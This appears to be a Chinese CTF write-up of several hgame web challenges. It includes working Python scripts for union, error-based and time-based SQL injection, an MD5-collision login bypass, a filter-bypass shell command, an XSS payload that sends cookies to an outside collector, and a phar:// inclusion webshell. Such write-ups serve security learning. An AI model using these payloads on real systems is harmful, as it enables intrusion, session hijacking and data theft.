一个简单的md5验证。
提交正确的code参数后得到提示 sql error。
同时提交一个id参数得到回显。
写一个交互的脚本方便测试
# -*- coding:utf-8 -*-
# -*- author:altman -*-
import requests
import hashlib
pay="'or 1=1#"
url="http://118.89.111.179:3000/"
cookie={
'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'
}
def getcode():
r=requests.get(url=url,cookies=cookie)
ans=''
code=r.content[35:39]
code=str(code)
for i in range(0, 9999999):
if hashlib.md5(str(i)).hexdigest()[0:4] == code:
ans=str(i)
break
return ans
def sql(pay):
code=getcode()
url1=url+"?code="+code+"&id="+pay
r = requests.get(url=url1, cookies=cookie)
print r.content
a="-1 union select (select column_name from information_schema.columns where table_schema='hgame' and table_name='f1l1l1l1g' limit 0,1)%23"
b="-1 union select f14444444g from f1l1l1l1g%23"
sql(b)
最基础的带回显的注入。
上一题的盲注版本,由于只会告诉你sql语句是否执行,所以bool盲注显然不行。
可以使用时间盲注,然而时间盲注太浪费时间,我选择报错盲注。
Payload : 1andif((1=2),exp(999999999),1)#
当if成立时,会执行exp(999999999),造成报错,显示sql error。
当if不成立时,则显示sql已执行。
同样脚本破之。
# -*- coding:utf-8 -*-
# -*- author:altman -*-
import requests
import hashlib
import string
url="http://118.89.111.179:3001/"
cookie={
'PHPSESSID':'dtguasqnchsgj6fnesd2c63v8n'
}
def getcode():
r=requests.get(url=url,cookies=cookie)
ans=''
code=r.content[79:83]
code=str(code)
for i in range(0, 9999999):
if hashlib.md5(str(i)).hexdigest()[0:4] == code:
ans=str(i)
break
return ans
def sql(pay):
code=getcode()
url1=url+"?code="+code+"&id="+pay
r = requests.get(url=url1, cookies=cookie)
return r.content
a="1 and if((1=2),exp(999999999),1)#"
flag=''
for j in range(0,999):
for i in string.letters+'0123456789'+'_{}':
a = "1 and if((ascii(substr((select fL4444Ag from F11111114G limit 0,1),%d,1))=%d),exp(999999999),1)#" %(j,ord(i))
if "error" in sql(a):
flag+=i
print flag
break
#hgame
#F11111114G
#fL4444Ag
#hgame{sqli_1s_s0_s0_s0_s0_interesting}
简单探测后发现源码备份 .login.php.swp
vim -r 恢复后得到源码,这里贴上php的部分。
<?php
session_start();
error_reporting(0);
if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
Press EN$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];
if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo "Your input can't be the same";
}
else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
echo "Good";
header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password</pre>";
}
}
?>
审计后发现由于对参数进行了强转string,不能用数组什么的绕过。
需要强行md5碰撞。
找到了这个项目 https://github.com/thereal1024/python-md5-collision
可以生成许多个md5相同的文件。
首先需要安装boost环境 brew install boost
然后 python3 gen_coll_test.py
(mac下)
生成一堆文件outtestxxx.txt。这些文件的md5值都相同。
写一个脚本POST数据。
# -*- coding:utf-8 -*-
# -*- author:altman -*-
import requests
url="http://118.25.89.91:8080/question/login.php"
username=open('/Users/a1tm4nz/web/python-md5-collision/out_test_000.txt','r').read()
password=open('/Users/a1tm4nz/web/python-md5-collision/out_test_001.txt','r').read()
code=open('/Users/a1tm4nz/web/python-md5-collision/out_test_002.txt','r').read()
data={
'username':username,
'password':password,
'code':code
}
r=requests.post(url=url,data=data)
print r.content
print r.cookies
此时已经成功登录了,之后用登陆后的cookie去访问admin.php就进入下一层。
给了一个shell,我们直接cat admin.php
<?php
session_start();
error_reporting(0);
?>
<head>
<!-- Matomo -->
<script type="text/javascript">
var _paq = window._paq || [];
/* tracker methods like "setCustomDimension" should be called before "trackPageView" */
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//118.25.89.91/piwik/";
_paq.push(['setTrackerUrl', u+'matomo.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
</head>
<?php
if ($_SESSION["secret"] === 'hgame2019')
{
?>
<form action="" method="post">
Private Terminal <input type="text" name="command"><input type="submit" name="submit">
</form>
<?php
if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit'])){
$cmd = (string)$_POST['command'];
echo "<p>The Command is : $cmd </p>";
echo "</br>";
$cmd = str_replace("flag",'none',$cmd);
echo "<p>Result is :";system($cmd); "</p>";
}
}
else {
echo "<script>alert('Login First')</script>";
header('Location: login.php');
exit();
}
?>
有一个简单的替换操作 ,将'flag'替换为'none'。
直接绕过检测读取flag
cat/'fla''g'
基础的xss打cookies。
测试后发现后端采取关键字替换为空的waf策略,我们可以采取双写来绕过。
payload <scriptsrc=[url]></scr</script>ipt>
懒得去vps接请求了,使用了xsspt(www.xsspt.com)来获取cookie。
提交后接收到了flag。
登录后简单测试发现了文件包含
http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=login
拿下所有源码审计。
在functions.php中看到了所有关键函数。
找到了一个文件上传功能,此时想到上传文件getshell。
简单审计发现由于上传后的文件是由一个rand_filename函数进行命名的。
function rand_filename()
{
$tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
$sql_query = "select `avatar` from `users` where `avatar`=$tmp";
$res = sql_query($sql_query);
if ($res->num_rows) {
return rand_filename();
} else {
return $tmp;
}
}
我们无法预测到文件名。
需要通过注入找到avatar表中的文件名。所有参数传递时都被加上了addslashes。但是在删除功能处存在一个数字型注入,不需要使用引号闭合,所以addslashes没有起到作用。
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);
}
}
在messge_id处进行注入。
我们先随意上传一张图片,让他生成一个文件名。
通过python脚本,进行注入得到文件名。
Ps:注入时需要有留言存在,所以编写脚本时每次注入前先进行留言。
token会失效,所以每次注入前获取一次最新的token。
# -*- coding:utf-8 -*-
import requests
import re
url = 'http://111.231.140.29:10080/index.php?action=delete'
url1 = 'http://111.231.140.29:10080/messages_api.php?action=delete'
url2 = 'http://111.231.140.29:10080/messages_api.php?action=add'
cook = {
'PHPSESSID':'dutuigp1v8psgqs84osftj979d',
'user':'altman77',
'groups':'0'
}
data = {
'message_id':'100 or if((select avatar from users where username like 0x25 limit 1) like 0x25,sleep(5),1)-- 1',
'token':'123'
}
data1 = {
'new_message':'just a test!!!',
'token':'123'
}
head = {
'Origin':'http://111.231.140.29:10080',
'X-Requested-With':'XMLHttpRequest',
'Referer':'http://111.231.140.29:10080/index.php?action=message'
}
flag = ''
for x in range(1,100):
print x
for y in (33,127):
f = requests.get(url,cookies=cook,headers=head)
token = re.findall("""value='(.*?)' id='token'>""",f.content)[0]
data1['token'] = token
g = requests.post(url2,data1,cookies=cook,headers=head)
f = requests.get(url,cookies=cook,headers=head)
token = re.findall("""value='(.*?)' id='token'>""",f.content)[0]
data['token'] = token
data['message_id'] = '1800 or if(ascii(substr((select avatar from users where username like 0x616c746d616e3737),%s,1))=%s,sleep(5),1)-- 1'%(str(x),y)
try:
g = requests.post(url1,data,cookies=cook,headers=head,timeout=3)
except:
flag += chr(y)
print flag
break
顺利拿到我这个账号随机生成的文件名672bf75b776852d。
由于文件包含处强制拼接了php后缀
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>
无法直接包含文件getshell。
这里想到利用phar协议。
将一句话木马文件index.php压缩成一个zip,抓包修改type为 image/png
将zip文件上传。然后利用phar协议包含文件getshell。
?action=phar://./img/avatar/672bf75b776852d.png/index
拿到shell后经过一番搜寻后找到flag
http://111.231.140.29:10080/index.php?action=phar://./img/avatar/672bf75b776852d.png/1&a=/usr/lib/flag/get_flag%20/usr/lib/flag/flag